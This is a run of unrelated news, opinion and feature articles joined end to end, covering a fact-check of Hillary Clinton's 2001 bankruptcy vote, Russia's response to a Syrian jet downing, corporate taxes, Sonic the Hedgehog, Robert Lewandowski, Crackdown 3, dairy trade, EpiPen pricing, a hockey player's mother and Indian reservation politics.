–Hillary Clinton, in the fifth Democratic debate, Feb. 4, 2016
Moments after the former secretary of state (and N.Y. senator) made this statement, the Bernie Sanders campaign issued a news release titled “Elizabeth Warren on How Wall Street has influenced Hillary Clinton.” The news release recounted how Sen. Warren (D-Mass.), in a 2003 book, blamed campaign contributions from banking interests for why Clinton flipped from being opposed to an overhaul of bankruptcy laws as first lady – calling it “awful”– to voting to advance the bill as a freshman senator.
Warren noted that Clinton had received $140,000 in campaign contributions from banking industry executives as she sought a Senate seat. “Big banks were now part of Senator Clinton’s constituency. She wanted their support, and they wanted hers—including a vote in favor of ‘that awful bill,’” Warren wrote.
In an interview on ABC’s “This Week” on Feb. 7, Clinton offered a lengthy explanation. She said that she had sought a provision to protect “vulnerable women and their children” receiving child support if their spouse went into bankruptcy. She explained that in exchange for receiving the provision, she agreed to support passage in the Senate.
“I didn’t like the bill any more than I had liked it before. It still had very bad provisions. But I also pushed hard for a deal to protect women and children. So okay, I held my nose. I voted for it,” she said. A final version never emerged that year, but in 2005, when a similar bankruptcy bill neared final passage, Clinton opposed it.
Clinton added: “You can look at what I said in 2001. You can look at what I said in 2005. And so I’m glad to set this record straight.”
There’s a lot of complicated legislative maneuvering going on here. Let’s explore.
The Facts
Warren’s book, “The Two-Income Trap,” devoted four pages to her interaction in 1998 with Clinton, at the time first lady. Warren then was a Harvard University professor who had written an opinion article in The New York Times critical of the pending bankruptcy legislation, and Clinton had sought to learn more.
Warren praises Clinton for quickly grasping the issues. “I have taught bankruptcy law to thousands of students — some of them among the brightest in the country — but I never saw one like Mrs. Clinton,” Warren wrote. “Impatient, lightning-quick and interested in all the nuances.”
Hillary Clinton pledged to help stop the bill and Warren writes that she later learned the Clinton White House — which had been poised to approve the legislation — turned on a dime after the first lady’s concern became apparent. Bill Clinton vetoed the bill after it passed Congress in his waning days in office.
Warren blames Clinton’s about-face as senator on the impact of campaign contributions. “The bill was essentially the same, but Hillary Rodham Clinton was not,” she wrote. “Hillary Clinton could not afford such a principled position. Campaigns cost money, and that money wasn’t coming from families in financial trouble.”
Warren also recounted this perspective in a fascinating 2004 interview with Bill Moyers.
Clinton’s defense? She said that she voted to advance the bill because she had secured an amendment sought by women’s groups.
In her 2001 statement on the floor of the Senate, Clinton acknowledged that she was “a strong critic of the bill that passed out of the 106th Congress because I did not believe it provided a balanced approach to bankruptcy reform.” But she ticked off a number of amendments that she said had been added to protect women, including allowing women to collect child support payments after the father has declared bankruptcy, making it a “first priority” during bankruptcy proceedings.
Clinton warned that without these provisions, her vote on final passage was in doubt.
“Let me be very clear — I will not vote for final passage of this bill if it comes back from conference if these kind of reforms are missing,” Clinton said. “I am voting for this legislation because it is a work in progress, and it is making progress towards reform.”
But in the endnotes of Warren’s book, she was dismissive of Clinton’s argument that she had improved the bill.
“While this amendment may have provided some political cover, it offers virtually no financial help to single mothers, since the overwhelming majority of ex-husbands don’t pay anything in distributions during bankruptcy,” Warren wrote. “Of far more importance was the fact that the bill would permit credit card companies to compete with women after bankruptcy for their ex-husbands’ limited income, and this provision remained unchanged in the 1998 and 2001 versions of the bill. Senator Clinton claimed that the bill improved circumstances for single mothers, but her view was not shared by any women’s groups or consumer groups.”
It is interesting to note that virtually every Democratic female senator at the time voted to advance the bill, even though it was opposed by liberal warhorses such as Sen. Edward M. Kennedy (D-Mass.) and Paul Wellstone (D-Minn.).
Sen. Patty Murray (D-Wash.), for instance, said: “While I have concerns over many of this bill’s provisions, I hope they can be dealt with in conference or in future legislation. This bill should be strengthened in conference, not weakened as has happened to other versions of bankruptcy legislation. I will closely examine a conference agreement with this in mind before voting to send this legislation to the President.”
Still, as Warren noted, virtually every consumer group opposed the bill at the time. The news media also portrayed the vote as a triumph for well-heeled financial lobbyists. “Money interests prevailed over the public interest,” wrote columnist David Broder in The Washington Post. Former senator Howard M. Metzenbaum, at the time head of the Consumer Federation of America, was quoted as saying: “The cries, claims and concerns of vulnerable Americans who have suffered a financial emergency have been drowned out by the political might of the credit card industry.”
The bill actually never came back to the Senate for a final vote in that Congress. But Republican victories in the 2004 elections gave the bill new momentum, and when it came up for a final vote in the Senate, Clinton (as well as almost all of the other female Democratic senators) were in opposition.
Clinton missed the vote because her husband was in the hospital but she issued a statement decrying it. In particular, she said the bill did not take into account “significant changes that have taken place in our national economy” since the Senate had last considered the bill in 2001, because Republicans had joined together to reject Democratic amendments. At least one of the amendments she had won in 2001 was also dropped from the bill.
Let’s unpack some of the politics. In 2001, the Senate was evenly split, with 50 Republicans and 50 Democrats, so Republicans needed to work with Democrats such as Clinton to advance legislation. After the 2004 elections, Republicans had 55 seats in the chamber, making compromise less necessary. Thus Clinton had less incentive to back a bill that was being rammed through Congress.
Warren, of course, made her comments and wrote her book before Clinton’s 2005 vote against the bankruptcy bill—and before she became a Senator herself and had to cast votes on legislation. Warren has remained studiously neutral in the race between Sanders and Clinton, and her office said she declined to comment.
The Pinocchio Test
We face a conundrum here. Clinton laid down a marker–that she did not change a vote because of financial contributions — but the example provided by the Sanders campaign does not quite disprove Clinton’s statement.
One could suspect, as Warren did in 2003, that contributions made Clinton more sympathetic to the financial industry as a newly elected senator. But Clinton argues that she voted to advance the bill — “held my nose” — as part of an agreement to make the bill better. Warren says the main provision touted by Clinton was only a fig leaf, but we have no idea of how Clinton might have voted on final passage in 2001 because the bill did not come up for a final vote that legislative session.
In the end, however, Clinton was against the bankruptcy bill at the moment it really counted — final passage in Congress. (In all, 26 Democrats opposed the bill and 18 supported it, along with all 55 Republicans.)
So for all the money the financial interests contributed to Clinton’s campaign, she did not give them the support they desired. At the same time, however, the vote was so lopsided that Clinton’s support was not needed.
In light of subsequent events, Warren’s comments from 2004 at this point appear out of date. We would be curious to know if Warren’s experience as senator has changed her perspective on Clinton’s actions in 2001.
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In a move that will fan tensions between Washington and Moscow, Russia made clear it was changing its military posture in response to the U.S. downing of a Syrian military jet on Sunday, something Damascus said was the first such incident since the start of the country’s conflict in 2011.
The Russian Defense Ministry said it was also scrapping a Syrian air safety agreement with Washington designed to avoid collisions and dangerous incidents with immediate effect. Moscow accused the United States of failing to honor the pact by not informing it of the decision to shoot down the Syrian plane despite Russian aircraft being airborne at the same time.
“We view such actions by the U.S. command as a deliberate flouting of its obligations,” the Defense Ministry said in a statement. It said it expected the United States to now undertake an investigation into the shoot-down, to share the results, and to take corrective measures.
Russia is one of Syrian President Bashar al-Assad’s most stalwart allies and is supporting him militarily with air power, advisers and special forces as he tries to roll back Islamic State and other militant groups. Unlike the United States, it says its presence is sanctioned by the Syrian government.
Calling the shooting-down a “cynical violation” of Syria’s sovereignty and a breach of international law, Russia said the U.S. move amounted to “military aggression” against Syria and announced it was taking direct measures in response.
“In areas where Russian aircraft are carrying out military tasks in the skies above Syria, any flying objects, including international coalition aircraft and drones found operating west of the River Euphrates, will be tracked by Russian land and air-based anti-aircraft ground systems as targets,” the ministry statement said.
The U.S. Central Command issued a statement saying the downed Syrian military jet had been dropping bombs near U.S.-backed SDF forces, which are seeking to oust Islamic State from the city of Raqqa.
It said the shooting-down was “collective self-defense” and the coalition had contacted Russian counterparts by telephone via an established “de-confliction line to de-escalate the situation and stop the firing”.
Franz Klintsevich, a senior lawmaker on the upper house of parliament’s defense and security committee, told RIA news agency that Russia would not automatically shoot down any object and that decisions would be taken on a case-by-case basis.
He said aggressive acts by such objects would be “dealt with severely”, however.
Russian Foreign Minister Sergei Lavrov was cited earlier on Monday by Russian news agencies as telling the United States to respect Syria’s territorial integrity and refrain from further unilateral action there.
Russian Deputy Foreign Minister Sergei Ryabkov struck a tougher line than Lavrov, telling TASS the U.S. action was an “act of aggression in support of terrorists”.
Separately, Ryabkov told Interfax that the shooting down was a dangerous escalation and warned Washington not to use force against Syrian government troops.Yesterday, I wrote about how the GOP is falsely pushing the argument that America’s corporations are overtaxed. I included some great data courtesy of conservative commentator Bruce Bartlett whose New York Times piece did an extraordinary job of putting the lie to the Republican assertions.
Today, and not a moment too soon, the non-profit Citizens For Tax Justice (CTJ) has put out their findings revealing that twelve of the nations largest Fortune 500 companies, while making $170 billion in profits during the period of The Great Recession, paid an effective tax rate of negative 1.5%.
Yes, you read that correctly.
Not only have these twelve companies paid zero in taxes for the years 2008-2010, they actually received tax subsidies that added $62.4 billion to their bottom lines.
The companies were chosen by the CTJ to represent a range of industries, including manufacturing, energy, services, transportation and high tech and include – in alphabetical order - American Electric Power, Boeing, Dupont, Exxon Mobil, FedEx, General Electric, Honeywell International, IBM, United Technologies, Verizon Communications, Wells Fargo and Yahoo.
Here are the bullet points presented by the report:
From 2008 through 2010, these 12 companies reported $171 billion in pretax U.S. profits. But as a group, their federal income taxes were negative: –$2.5 billion.
All but two of the dozen companies enjoyed at least one no-tax year over the 2008-10 period, despite reporting substantial pretax U.S. profits in those no-tax years.
Eight of the twelve companies reported net tax benefits over the full three-year period.
According to the study, not a single one of these companies paid an amount even close to the 35% statutory tax rate.
In fact, the tax rate paid by Exxon Mobile, when spread over the full three years, was only 14.2% - a full 60% below the 35% rate that corporations are supposed to be paying. And if we take a look at what Exxon paid over just the past two years, it totals a mere 0.4% on their pre-tax profits of $9.9 billion.
And get this – Exxon Mobile paid the most in taxes of any of the twelve companies on the list.
Here is my favorite part – had just these twelve companies paid at the actual 35% tax rate the GOP is telling us they are chaffing under, the sum would have added a full 12% to the totals the United States of America’s treasury received through corporate taxes.
We sure could use that money.
Take a look at this chart, provided courtesy of Thinkprogress.com, and be amazed.
What I don't know is whether or not the preponderance of American corporations are getting away with the same kind of tax avoidance that these twelve companies are managing to pull off.
Bob McIntyre, director of Citizens for Tax Justice, seems to believe that they are.
These 12 companies are just the tip of an iceberg of widespread corporate tax avoidance. Our elected officials have a duty to the American public to make reducing or eliminating the vast array of corporate tax subsidies the centerpiece of any deficit-reduction strategy.
McIntyre is certainly right when he points out the duty of our elected officials. But they are not the only ones with such a responsibility.
We, as voters, also have a duty to react when the GOP majority in the House of Representatives tries to tell us we need to reduce this phantom corporate rate from 35% to 25% so that these corporations can pay even less in taxes while they pocket even greater amounts of taxpayer money via corporate subsidies.
Worse still, Boehner, Ryan and friends have the unmitigated gall to make their pitch while asking the rest of us to give up the social programs that are so essential to most Americans.
Seriously, people, do we need an anvil to fall on our heads before we get it?
These numbers don’t lie – but your GOP Member of Congress is and it's time to come to terms with this.
For those of you who continue to buy into the belief that following what passes for conservative ideology today will save this country, the rest of us really need you to approach this issue with a more open mind. We ask that in the hope that you might arrive at the conclusion that you are being played solely for the benefit of these large corporations and wealthy Americans who stand in line to bankroll these Republican politicians.
The time to do it is now as we take on the issue of raising the nation's debt ceiling.
If you don't believe we should raise our ability to take on more debt because we spend more than we should, I get it.
However, if you believe that the answer to lowering the debt is to cut or destroy services and benefit programs that you depend upon while allowing wealthy corporations and individuals to severely underpay their taxes - or simply pay none at all - then you must examine this self-destructive streak that will, unfortunately, take us all down with you.
The Democrats will agree to budget and deficit cuts when the GOP agrees to get rid of the corporate subsidies and tax shell games that allow the kind of results disclosed today by the CTJ. The Democrats will agree to budget cuts when the GOP agrees to raise taxes on those earning over a million dollars per year.
How does this hurt you?
It doesn’t.
But allowing those who want to sucker you into paying for our deficit while giving a complete pass to the corporate and wealthy interests will most assuredly cause you and your family enormous pain.
The American middle-class must take a step back from the ideological precipice and review what is in their own best interest. Destroying Medicare and Medicaid is not the answer. Threatening to create havoc in the world economic system by playing chicken with the debt ceiling (and no, we don't know for certain that this will happen but is it really necessary to test it?) is not the answer.
We need to get spending under control to be sure. But we also need to require the entities who have bought their way into legalized greed to pay up. Clearly, they aren't prepared to do this because it is in the national interest. Thus, we must force them to do so with the only weapon we possess - our votes.
contact Rick at thepolicypage@gmail.comSEGA’s Sonic the Hedgehog franchise turns 25 today, and while we’ve celebrated franchise milestone years in the past, there is something really special about this one. A quarter of a century is a long time, and it is a testament to SEGA’s perseverance and the devotion of the Sonic fanbase that the franchise is still going strong. Sonic Lost World and the Sonic Boom franchise – particularly the games – are often pinpointed as the franchise’s recent weak points and signs that the franchise as a whole needs to be put down or at the very least take a long break. While I am not here to debate the merits of Sonic Lost World and Sonic Boom, I will say that to end a series or take a long break because of either is both incredibly shortsighted and far too extreme a reaction. I would also argue that Sonic is about much more than just the main series games, as fans like to label the major titles, and that there has always been great Sonic things happening even during the franchise’s darkest years.
In celebration of 25 years of Sonic the Hedgehog, join me in looking back year-by-year as I shine the light on great moments in Sonic history that more people need to be talking about.
1991: Doctor Eggman’s Debut
Year after year, so much emphasis has been put on the anniversary of the original Sonic the Hedgehog game and its star and yet very rarely is Doctor Eggman given equal time in the spotlight. Just look at the upcoming event in July, Sonic’s name is in the title and the logo, the celebratory silver coin features only Sonic and even past anniversaries including 10, 15 and the 20th have only depicted Sonic. But I would argue that the original Sonic the Hedgehog wasn’t just a success due to Sonic and his unique gameplay, but also because Doctor Eggman was such a strong villain and ended up becoming a strong character.
Eggman’s success in the West was largely helped by how he was reshaped by SEGA of America, which saw the character renamed Doctor Robotnik and an emphasis was put on his short fuse and over-the-top hatred of Sonic. Robotnik’s character was later expanded in several forms of media, including both 1993 cartoons “Adventures of Sonic the Hedgehog” and the Saturday morning “Sonic the Hedgehog” as well as Archie’s comic book series. While Sonic remained true to the same “cool dude” persona in all forms of media, no doubt because SEGA licensing wanted to keep their mascot on a short leash, cartoon and comic book creators were given far more leeway when it came to Robotnik. “Adventures of Sonic the Hedgehog” presented the Doctor as a revenge obsessed maniac who was far too in love with himself, while the Saturday morning cartoon depicted him as more of an evil Darth Vader-like villain. Archie Comics depicted a combination of the two animated Robotniks and, in later years, expanded the character’s back story.
I’d argue that Eggman/Robotnik has grown to become a fan favorite character, often eclipsing the franchise’s star.
1992: Sonic the Hedgehog 2‘s Two-Player Mode
The Sonic series is, by and large, a single player experience. But thanks to Sonic the Hedgehog 2, we got a taste of two-player Sonic by way of the game’s 2 Player |
form of DFL-Supercups, the lowest hanging fruit of the trophies on offer, and Dortmund were bested by Bayern not only twice in the two Bundesliga campaigns but in a DFB-Pokal final and, most painfully, in the 2013 Champions League final; the first all-German final of its kind.
It was clear Dortmund had fallen behind the returning pace-setters and now landmark treble winners from Munich, and when the so-called FC Hollywood came calling for their leading man, there was little Dortmund could do to convince him of their own superiority.
Heynckes had taken his opportunity to bow out as a treble winner and his retirement cleared the path for Pep Guardiola to take up the reigns, insistent on upholding his new clubs traditions and heralding in another era of Bayern Munich domination, and to do that he wished for Robert Lewandowski to lead his team from the front.
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Though such a scenario had been made all the more possible due to the impending expiry of the Pole’s contract, many expected Dortmund to name their price, to tell their rivals that if they wished to court their prized asset they’d have to pay handsomely and then some. But so important to Dortmund was Lewandowski, the club compromised and allowed him to sign a pre-contract with the Bavarian club. They would lose him for nothing the following summer but would at least retain their hitman’s services for the remainder of the season.
Interestingly, the deal was officially announced as early as November 2013, with the pre-contract to be signed in the following January before making his move in the summer, meaning Lewandowski’s transfer from Dortmund to Munich was rubber-stamped long before the fate of the Bundesliga, DFB-Pokal or Champions League had been decided.
An incredible record-breaking display at home to Real Madrid in the Champions League semi-finals, which saw Lewandowski score all four of his team’s goals in an unforgettable 4-1 victory, underlined his importance to the club and sparked many conversations pondering the likelihood of a remarkable scenario that would see him depart Dortmund as a Champions League winner.
But when Munich prospered at the expense of Dortmund in all three competitions, closing firmly the coffin lid on their rivals’ tentative treble hopes with a succession of bitter victories, it served only to vindicate Lewandowski’s controversial decision to jump ship. Put plainly, if he wished to be the best, he would have to walk among the best and Bayern were just that.
Bayern Munich
Strange though it may sound, Lewandowski’s switch to Pep Guardiola’s Bayern Munich changed almost nothing about the player himself; his temperament, his ability, his style all remained exactly as it was. Instead, like seasoning an already exquisite dish with a pinch of salt, the transfer simply intensified his existent qualities and the obvious upgrade in environment allowed him the opportunity to elevate every facet of his game. He was in every sense the Lewandowski of old – just better.
On account of the outrageous prolificacy with which he performed from the very beginning at Bayern, Lewandowski’s name ebbed slowly away from debates attempting to shortlist the most prolific goalscorers in his country and began starring in conversations discussing the most adept strikers on the planet. In the eyes of many, there were drastically few playing the role of the complete forward in today’s game as well as Lewandowski; an opinion many still hold, as the 29-year-old shows no signs of slowing.
Evidently blossoming into his unassailable peak, helped largely by his model professionalism and commitment to his craft, Lewandowski hit 25 goals in his opening season in Bavaria, 42 goals in the following season, and 43 in the next, each with a more impressive goals-to-game ratio than the last. And, all the while the trophies continued to tumble his way domestically, with consecutive Bundesliga titles in all three seasons, Lewandowski was able to carry his incredible goalscoring form onto the international stage while playing for Poland.
Prior to his Bayern move in 2014, Lewandowski boasted a sound record of 18 goals from 60 caps for his country. But those figures were soon to change and mark a far fairer representation of the breed of striker Lewandowski is today.
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After scoring 11 times for his country in just seven appearances throughout 2015, before putting his name to the record for the most goals scored in a single UEFA European Championship qualification campaign – hitting 13 goals in 10 games as Poland finished second only to Germany in their qualification group for Euro 2016 – Lewandowski upped the ante in qualifying for World Cup 2018 and put another record to the sword.
Scoring in nine of his country’s 10 fixtures in qualifying, notching no fewer than three hat-tricks along the way, Lewandowski bagged an unprecedented 16 goals in 10 games to lead Poland to Russia, becoming the first European player ever to hit 16 goals in one qualification campaign.
Having already conquered the German game sufficiently to become the top goalscorer of any foreign player in Bundesliga history, Lewandowski continued to pass all tests placed before him on the international scene in order to become Poland’s all-time leading goalscorer. By now there remain few accolades in football that he has still to claim for his own.
Yet it seems little to nothing about the forward has changed beyond a maturing and a narrowing of focus or honing of abilities since his days as a skinny teenager being turned away from clubs due to his stature, or lack thereof. The only difference today is that Lewandowski is the striker he always seemed to know he would be.
The seven consecutive Polish Player of the Year awards that sit on his humble mantel at home are a testament to both his undeniable quality and astounding longevity, while the records by which his outstanding career will one day be signposted ensure his name, as well as his tales of his many goals, will surely outlive the player himself.
Should Lewandowski lead Poland to a strong finish at Euro 2020, which isn’t too fanciful a thought given the quality of the man whose name undoubtedly appears first on their teamsheet, there’s no telling what awards may yet await his possession.
Such striking royalty, as he could surely claim to be today, perhaps requires an Order Orła Białego (Poland’s highest civilian order, the Order of the White Eagle) to be worn proudly on his chest in defiance of what few dissenters may still exist. Or, far more fitting for a man of Lewandowski’s modesty, the pride of his wife, children, teammates and country may be more than sufficient reward for his life’s work.
With retirement certainly still some way over the horizon, exactly how many more records will fall at the feet of Lewandowski is anyone’s guess. But, having already tread the long road from Legia reject to Bayern legend, and with no reason to believe he’s done walking that same road yet, it’d be a brave man who would bet on the goals drying up for the Pole any time soon.
By Will Sharp @shillwarpDuring E3 last week, we had the opportunity to sit down with Crackdown 3's executive producer Steve Pritchard to clear up exactly how cloud-based destruction is being built into the game, as well as how the Xbox One X enhances the game, how Terry Crews came to be a part of the project, and how the game differs from the others in the franchise.
You can check out the entire interview transcript below!
Crackdown 3 will release as a launch title for Xbox One X on November 7th, 2017.
Tom: Crackdown 3 has been in up in the air for quite a long time. I think the last time we saw you guys was two E3’s ago. Obviously, Microsoft is making a big push for this with the Xbox One X. I want to talk about some of the technologies behind it. Last time we saw you guys you were talking about accessing remote servers and using that for that total destruction of the city. Has that changed? What is happening with that?
Steve: The campaign, in both single player and co-op, is an experience where the city is important; saving the city is important. For competitive multiplayer, that’s where our cloud-based destruction sits. In the campaign, you can play on your own without an internet connection if you choose.
Tom: So that cloud-based destruction is going to be solely for the multiplayer?
Steve: Competitive multiplayer. Bringing down a city on civilians? That’s not something we want to see you do. People you’re shooting and fighting? Yeah, we want some of that stuff. So it’s a deliberate choice from a design perspective.
Tom: This is launching the same day as the Xbox One X on November 7th. When you guys first got your hands on Project Scorpio, did that change anything in terms of development?
Steve: It just gives us more. More power, more raw things to do with. You’re looking at a more populated city; a denser degree of civilians and traffic. We can just throw more at it. And of course, you’ve got 4K. It’s true 4K and it looks stunning. So we’ve had a great deal of fun working out just how we can pep up the visuals. How we can make it really sing as well as making it a really dense experience.
Tom: Terry Crews is going to be involved in the game. Crackdown is the Terry Crews of video games. It’s a match made in heaven. When did he come onto the project, and what’s it been like working with him?
Steve: He asked if he could be in Crackdown. We didn’t approach him: he approached us. So you don’t say no. You’ll get to play him at some point in the game. We’ve loved it! We’ve absolutely loved being with him! He’s lent a great deal of humor to the project.
Tom: Is there anything specifically you want fans of the series or even newcomers to know that they can’t see in the trailer?
Steve: If you know Crackdown and you know the franchise, you know what it’s all about. You’re a super agent trying to take down a criminal organization. This is a little different to the original franchise in that the entire world you’re in is owned by a single corrupt corporation, a gang. And your job is to find them and bring them down and unlike the original game where you could go to a place and fight person X and person Y, you’ve got to discover our bosses and you’ve got to provoke them.
We have a system called 'Gangs Bite Back'. What you do there is whoever you poke and prod, they’ll respond. So you’re never quite sure where you’re going to find these people or whether they’re going to find you! So your game and my game will be totally different. It’s an exploration game, it’s a “go and kick their ass” game. But it’s “find best how to draw them out, and then kick their ass”. That’s the important part.SYDNEY/WELLINGTON — Australia and New Zealand dairy industry leaders said on Wednesday they would support moves by the United States to draw the World Trade Organization into a trade dispute with Canada, after President Donald Trump said existing rules were unfair.
Canada’s dairy farmers and processors, including Saputo Inc and Parmalat Canada, struck a pricing agreement in 2016 that industry groups in Australia, New Zealand, the European Union, Mexico and the United States say would price domestic milk ingredients for cheese-making below cost, under-cutting their exports.
I don’t expect there would be many countries that would do anything other than support a WTO action against Canada
On a visit to the U.S. cheese-making state of Wisconsin on Tuesday, Trump said he would “stand up for our dairy farmers” adding that “in Canada some very unfair things have happened to our dairy farmers and others.”
Trump did not specify what parts of Canada’s tariff-protected dairy sector he wanted to change, nor what measures he would take to make it happen, but his remarks re-ignited calls for a complaint to the World Trade Organization.
The United States is the world’s biggest cheese exporter outside Europe.
“I don’t expect there would be many countries that would do anything other than support a WTO action against Canada,” said Australian Dairy Farmers interim Chief Executive Officer John McQueen in a telephone call.
New Zealand Trade Minister Todd McClay told Reuters in an email that his government was “currently assessing the WTO-consistency” of Canada’s dairy industry policy, and had raised concern with the Canadian government.
“Together with other dairy exporting countries, including the U.S., we have questioned these policies at WTO Committee on Agriculture meetings in Geneva as recently as last month,” McClay said.
Malcolm Bailey, chairman of the Dairy Companies Association of New Zealand, said his organization was working with his foreign ministry to gather information for a possible WTO complaint.
New Zealand, the second biggest non-Europe cheese exporter, is “quite clearly building a coalition of those prepared to make the case to the WTO,” said Bailey.
“You’ve got the Americans, the Australians, the Mexicans who are concerned about this.”
© Thomson Reuters 2017The Evil Banality of “PharmaBitch”
Holly Wood Blocked Unblock Follow Following Aug 27, 2016
Philosophically speaking, outside of Hitler and Goebbels, there is no Nazi quite as instrumental to philosophy as Adolf Eichmann. Eichmann’s role in the Holocaust was to make sure all the trains that delivered the Jews to their deaths ran on time. After a decade-long global manhunt ending in Argentina, Eichmann stood trial for war crimes in Jerusalem in 1960.
Seated behind bulletproof glass, Eichmann testified that he was innocent, saying that he was only doing his job.
Hitler told him to kill the Jews and that’s what he did.
If anyone is responsible for the Holocaust, Eichmann claimed, it was Hitler.
In fact, his plea for pardon released earlier this year stated this pretty plainly: “There is a need to draw a line between the leaders responsible and the people like me forced to serve as mere instruments in the hands of the leaders”, Eichmann wrote. “I was not a responsible leader, and as such do not feel myself guilty.
The New Yorker commissioned philosopher Hannah Arendt to cover Eichmann’s trial in a series of contemplative essays that would later be published as Eichmann in Jerusalem: A Report on the Banality of Evil. Arendt would famously say of Eichmann’s plea for innocence: “The deeds were monstrous but the doer — at least, the very effective one now on trial — was quite ordinary, commonplace, and neither monstrous nor demonic.”
Consider this in juxtaposition to the story of Mylan CEO Heather Bresch who many across the internet are calling PharmaBitch, an apt homage, surely, to Martin Shkreli’s sobriquet of PharmaBro.
Bresch rejects opprobrium for raising the price of a generic drug from $100 to $600 because she says she is a businesswoman doing business things. As CEO, she passes the buck to the forces of capitalism unto which she is merely a handmaiden. Or, I guess, in the words of Eichmann, a “mere instrument.”
“I am running a business,” said Bresch, “I am a for-profit business. I am not hiding from that.”
What I love about that quote is that Bresch lets it slip and says “I am a for-profit business.” She did not say I am an executive at a for-profit business. She says she *is* a for-profit business and that she’s not hiding from that.
“There is a work ethic and grit about that that allows me to help make a difference,” she says, after it’s revealed that she earns $19 million a year in annual salary.
That’s some big talk from a woman that runs a company that buys patents for generic drugs it does not invent or develop and profits entirely by gouging the prices in a country where the government is proscribed by law from regulating drug prices.
I mean, I guess that’s “grit” in some sense. I’d call it exploitation. But who’s to say?
What if, as a thought experiment, we imagined the EpiPen like any other rescue service, say like the Fire Department. If the Fire Department marshall came to your house and said the only way it would save your kids from a fire was for you to pay $600 — just in case — you’d probably start questioning the ethics of rescue distribution.
After all, this is a life-saving emergency they’re trying to capitalize on. A fire marshall trying to shake you down for cash would be in that scenario hedging against your child’s life. That doesn’t quite seem right, does it?
And it didn’t seem right to the nation’s founders, either. Did you know that Ben Franklin actually bureaucratized fire rescue? He saw that the city of Philadelphia had a problem putting out fires. So he convinced a bunch of other city founders to unionize themselves into a firefighting department— Ben’s Bucket Brigade. While at first, services were limited to the union, the idea that rescue should be unionized spread not only across the city but across the nation and fundamentally changed how Americans thought about the civics of rescue. To this day, now, we would challenge the ethics of anyone seeking to charge citizens for a service we think a civic right.
But when we commoditize rescue into a product, apparently, we stop imagining it as a service that we owe to each other’s children and allow people to think they can profit from rescue.
That’s where things start getting sick.
From where I sit, personally, I think we have no civic challenge greater than to unionize medical rescue. I think universal healthcare is the only ethical course of action and that we should honor the agreements we made in the UNDHR and concede that we are systemically denying the human right of healthcare to millions of our own citizens every day.
We are all complicit in this way with the banality of evil.
And it is in our cowardness as a people that allows PharmaBros and PharmaBitches to profit from the systemic suffering we inflict on each other.
Is Bresch a villain? Is the board that rewards her behavior a cockpile of profiteers? Are the investors only doing the bidding of the one true Market God?
Or are they all mere instruments in Capitalitler’s final solution, innocent until someone makes them stand trial for crimes against humanity?
Who’s to say?
All I can say for sure is that the only way to stop this from happening again is to stand up and demand healthcare as a human right and not allow it to be treated like a fucking market commodity.
Otherwise, we keep giving the monstrous their alibis.When I grew up playing hockey, my dad coached the Utah Grizzlies in the now defunct IHL, which meant he wasn’t exactly close to home in Kelowna, BC. He did everything he could to help with my playing career, but it was my mom who did the bulk of the grunt work. If you’re at all familiar with youth hockey, you know that means 5 a.m. wake-ups for practice, driving ridiculous distances for weekend hockey games, and a complete lack of freedom.
My mom did it all, and gave me every opportunity possible to succeed.
Matt Nieto of the San Jose Sharks had a great mom too, only her situation hasn’t exactly gotten easier as her son’s gotten older.
Nieto, 21, is still tied for fifth among rookies in playoff scoring, having contributed five points through seven playoff games. He made the Sharks out of training camp and chipped in 10 goals this season, all while the most important person in his world, his Mom, was going through a rough time.
Mary Nieto was diagnosed with advanced breast cancer while Nieto was pushing to make the Sharks. Here’s Nieto, from the San Jose Mercury News:
"It was pretty crazy to take in all that, and I had to come to training camp," Nieto said. "It was a tough situation. I had to figure out a way to clear that out of my head while I was at the rink and working."
The first Californian drafted by the Sharks when he was their second-round pick in 2011, Nieto, who grew up in Long Beach, was a bit of a long shot to make San Jose's opening-day roster at age 20. He had spent only 11 games in the minors last spring after three years at Boston University, but injuries created openings at forward, and he filled one.
"When I made the team out of camp, I think it kind of helped her," Nieto said. "We were playing every other day, and it'd take her mind off it, being able to watch."
Mary Nieto has undergone two surgeries and completed a round of chemotherapy over the past nine months. More surgery is required, but she said her prognosis is good.
How was it when Nieto finally made the team and he called his Mom to talk about it?
“He wouldn’t even talk about the hockey game,” Mary Nieto said. “He’d be like, ‘How’re you feeling today? What’s going on? When’s your next doctor’s appointment?’ He was just real compassionate and always thinking about me.”
That’s a special relationship.
While the Sharks first round series against the Kings didn’t end as the Nietos had hoped, they’re in a pretty good place these days. His mother, who did everything for him hockey mom’s do, is doing well.
Mother’s Day is just around corner, and it doesn’t take many chats with Matt to understand how much he appreciates what his mom has done to help him achieve his dream.
Sunday offers us all the opportunity to appreciate the sacrifices our mothers have made to help us become who we are.Maharashtra govt on Wednesday approved 16 per cent reservation for Marathas and five per cent for Muslims in govt jobs and educational institutions. (IE Photo: Pradeep Kocharekar)
A right wing organisation on Thursday opposed the reservation for Marathas and Muslims approved by the Maharashtra Cabinet.
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Maharashtra government on Wednesday approved 16 per cent reservation for Marathas and five per cent for Muslims in government jobs and educational institutions.
“Several Maratha organisations have been in touch with us and they don’t want reservations,” Hindu Janajagruti Samiti’s (HJS) national spokesman Ramesh Shinde claimed while talking to reporters.
Shinde, along with several leaders of other Hindu organisations, addressed a press conference in the backdrop of the ongoing All India Hindu Convention which will culminate today at Ramnathi village. The entire exercise of reservation has been carried out to appease minorities, to overcome the fact that the state NCP-Congress government has lost its popularity which was indicated in the recently held Lok Sabha polls, he said.
The HJS, along with other Hindu organisations, has been against the concept of reservations, he said. “We have been demanding common civil code. Where is the question of supporting such kind of reservations based on caste or religion? Everyone should get equal treatment,” Shinde expressed.
Meanwhile, the convention, which had more than 300 leaders of various right wing organisations participating in it, has adopted a resolution demanding complete ban on cattle slaughter in the country.
“It’s not just cow slaughter but we want ban on the cattle slaughter,” HJS national guide Charudatt Pinge said. The recent raids on slaughter houses in Goa’s Margao town have revealed that even underage cows were killed for the meat, he said.
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The convention also demanded that the Union government should enact a stringent law prosecuting infiltrators from Bangladesh and also those who facilitate their illegal arrival in the country. “Not just infiltrators, but even those who facilitate their stay in the country should be prosecuted under the new law, which could be a draconian act,” the convention resolved.SANTA ROSA (KPIX 5) — People who thought they dodged the North Bay wildfires because their apartment complex largely survived with minimal damage have learned four days before Christmas they are now being evicted.
At least 40 residents of the Hopper Lane Apartments in Santa Rosa received eviction notices just last night. Part of the complex was damaged in the Tubbs Fire, including several apartment units.
But residents say most of the building is alright and they accuse the landlord of booting them to raise rents, as other post-fire rents in the area are skyrocketing.
Around 8 o’clock last night, resident David Loewen found an eviction notice taped to his front door.
